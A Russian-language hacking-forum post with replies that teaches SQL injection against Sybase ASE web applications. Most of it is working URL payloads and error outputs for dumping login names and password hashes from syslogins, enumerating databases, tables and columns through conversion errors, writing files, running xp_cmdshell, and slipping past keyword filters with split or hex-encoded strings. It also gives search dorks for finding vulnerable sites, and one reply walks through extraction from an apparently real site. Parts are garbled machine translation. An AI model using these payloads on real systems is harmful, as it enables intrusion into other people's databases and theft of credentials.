Проведение SQL инъекций в Sybase ASE Автор: ~!Dok_tOR!~ [Intro] В данной статье будет рассмотрено проведения SQL инъекций в Sybase. Я думаю многим будет интересно почитать об этой СУБД так как взламывать MySQL уже научился каждый 3-ий а когда появляется что-то нестандартное, непонятное возникают проблемы, я не исключаю того что ты мог вообще никогда не слышать о СУБД Sybase. Заглянем в историю ... [History] Sybase Inc. — пионер среди компаний, специализирующихся на разработке реляционных баз данных, а также других продуктов, связанных со сбором, обработкой и хранением данных. Кроме названия компании, слово «Sybase» также часто используется как наименования наиболее широко известного ее продукта — системы управления базами данных Adaptive Server Enterprise. Архитекторами Sybase были доктор Роберт Эпштейн (Dr. Robert Epstein) и Том Хаггин (Tom Haggin), — оба они работали на Бритон-Ли и Университет Калифорния, Беркли, — в департаменте вычислительной техники. В Беркли впервые была разработана реляционная СУБД «University Ingres», которая стала эталоном таких СУБД как Ingres (Computer Associates), Informix (IBM) и NonStop SQL (Tandem), а также для большинства сегодняшних SQL-систем.Sybase оказалась на втором месте среди используемых в мире баз данных, сразу за Oracle, после подписания договора о предоставлении исходного кода базы в Microsoft для выведения на рынок продукта на базе платформы OS/2 под названием «SQL Server». В это же время Sybase стала называть свою СУБД «Sybase SQL Server». Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключается в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушел с UNIX и целиком сконцентрировался на платформе Windows NT. В настоящее время, Sybase продолжает поддерживать и развивать версии для семейства Windows, и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие). [Error Messages] Уявимый параметр search, подставляем ковычку: Код: http://site.com/index.php?search=' Код: Warning: sybase_query(): Warning: sybase_num_rows(): Код: com.sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the character string '''. com.sybase.jdbc2.jdbc.SybSQLException: Incorrect syntax near '''. Error Message Sybase [SQL Injection] Обрезать запрос можно использовав комментарий: -- или /* Подбор стоолбцов: Код: http://site.com/index.php?search=-1+union+select+null-- Узнаём версию Sybase: Код: http://site.com/index.php?search=-1+union+select+@@version-- или Код: http://site.com/index.php?search=')+and+1=convert(integer,(select+@@version))-- и видим ответ сервера Код: Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#1/P/NT (IX86)/OS 4.0/ase1252/1838/32-bit/OPT/Sat May 29 03:34:29 2004 12.5.2 - это номер версии Sybase; EBF 11948 - число "непредвиденного исправления(bug fix)"; ESD#1 - число "Электронной Программной Поставки", которое является корректором; Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку: Код: convert(integer,(select 'z' + str(@@version_as_integer))) В итоге Код: http://site.com/index.php?search=')+and+1=convert(integer,(select+'z'%2bstr(@@version_as_integer)))-- возвращает результат Код: com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit conversion of VARCHAR value 'z 12500' to a INT field. 12.5.0 - версия Sybase В общих чертах, для того чтобы получать переменную произвольного типа данных, использовавших сообщение конверсионной ошибки целого, пропишите переменную в строку сначала, затем выполните преобразование целого. допустим уязвимый код такой: Код: String search = request.getParameter("search"); ResultSet rs = stmt.executeQuery("select * from pubs2..titles where UPPER(title) like UPPER('%" + search + "%')"); Выводим имена всех пользователей: Код: http://site.com/index.php?search=-1+union+select+name+from+syslogins-- или Код: http://site.com/index.php?search=-1+union+select+name+from+master..syslogins-- Выводим хеши паролей юзеров: Код: http://site.com/index.php?search=-1+union+select+password+from+syslogins-- Cписок баз данных на сервере: Код: http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>''))-- получаем ошибку вида Код: com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit conversion of VARCHAR value 'master' to a INT field. в ошибке присутствует слово master - это и есть первая колонка. Для того, чтобы получить следующию, мы модифицируем запрос, так чтобы выбиря наименьшию величину, что больше, чем master, таким образом: Код: http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>'master'))-- получили Код: com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit conversion of VARCHAR value 'blabla' to a INT field. Таким образом мы повторяем полностью все колонки пока наше утверждение выбора не возвращает никакие дальнейшие данные. Используем запрос Transact-SQL's, группирующий характеристику: Код: http://site.com/index.php?search=')+create+table+foo(a+integer)-- серьезная проблема безопасности, для неё характерны несколько причин: 1.Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения2Данных Языковых утверждений (DDL). 2.Хакер использует3pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение6удостоверяет как "sa" , так9что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом3пользователя. Код: search = search.replaceAll( "'", "''"); после вызова на getParameter, единственные кавычки "удваиваются".1 Конечно, это не будет работать для числовых данных поскольку числа не ограничены в выполнении SQL. Если наш поиск был для pub_id, хакер мог бы просто послать SQL запрос непосредственно после числа, не требуя единственные кавычки. [Запись в файл] Код: create table myfile (record varchar(2000)) external file at "C:\temp\file.txt" insert into myfile values(0xYOU_BINARY_DATA)" [xp_cmdshell] Только администраторы могут выполнить xp_cmdshell, по умолчанию. Запись в файл через xp_cmdshell: Код: declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt' exec xp_cmdshell @cmd Так как Sybase и MSSQL - довольно схожие системы, то и синтаксис команд во многом схож: Код: xp_cmdshell 'command' [xp_regread] Sybase не имеет эквивалент xp_regread, так что любые хитрости (как например, чтение SAM файла под Windows) не будет работать в Sybase. В MSSQL, функция exec позволяет нам, выполнять динамический запрос. Например: Код: exec('select @@version') Если запрос не сработает то попробуйте обойти вот так: Код: exec('sel'+'ect @'+'@ver'+'sion') Ёще как вариат закодировать целую строку в литерале: Код: declare @s varchar(2000) set @s=0x73656C65637420404076657273696F6E exec(@s) В общих чертах, фильтрация ввода пользователя в SQL исключительно плохой путь адресовать инъекцию SQL. В некоторых случаях, удаляют ключевые слова так называемые "плохие слова", это может легко обойти использовать подобно этому: Код: selselectect @@ver@@versionsion Это обычно срабатывает, если фильтр не установлен никакая подстановка не может быть сделана. Dorks: Warning: sybase_query(): Warning: sybase_num_rows():
И правда...не разу не слышал про эту СУБД... Правда похоже чем-то на mssql... Статья неплохая...молодец
Рассмотрим на конкретном примере Запрос Код: Adaptive Server Enterprise/12.5.3/EBF 13332 ESD#7/P/Linux Intel/Enterprise Linux/ase1253/1951/32-bit/OPT/Fri Mar 24 00:40:52 2006 если выше метод не действует то: Код: Warning: sybase_query() [function.sybase-query]: Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'z 12500' to a INT field. (severity 16, procedure N/A) in /var/home/pda1.vmdaily.ru/classes/db.clss on line 21 12.5.0 - версия Sybase Код: Adaptive Server Enterprise/12.5.3/EBF 12593 ESD#3/P/Sun_svr4/OS 5.8/ ase1253/1911/64-bit/FBO/Fri Jul 8 13:31:40 2005 текущий пользователь: имена бд: следующее имя бд: здесь 0x77777773746174 = hex('wwwstat') следующее имя: 0x7765626462 = hex('webdb') узнаем таблицы в бд webdb: узнаем имя следующей таблицы: узнаем поля таблицы tWWWStat (id=1588197677) (другие таблицы по аналогии): узнаем имя следующего поля:
~!Dok_tOR!~, дорк на поиск бд отпости ибо не все нупасы сразу поймут что из статьи есть дорк - надо конкретно написать им.
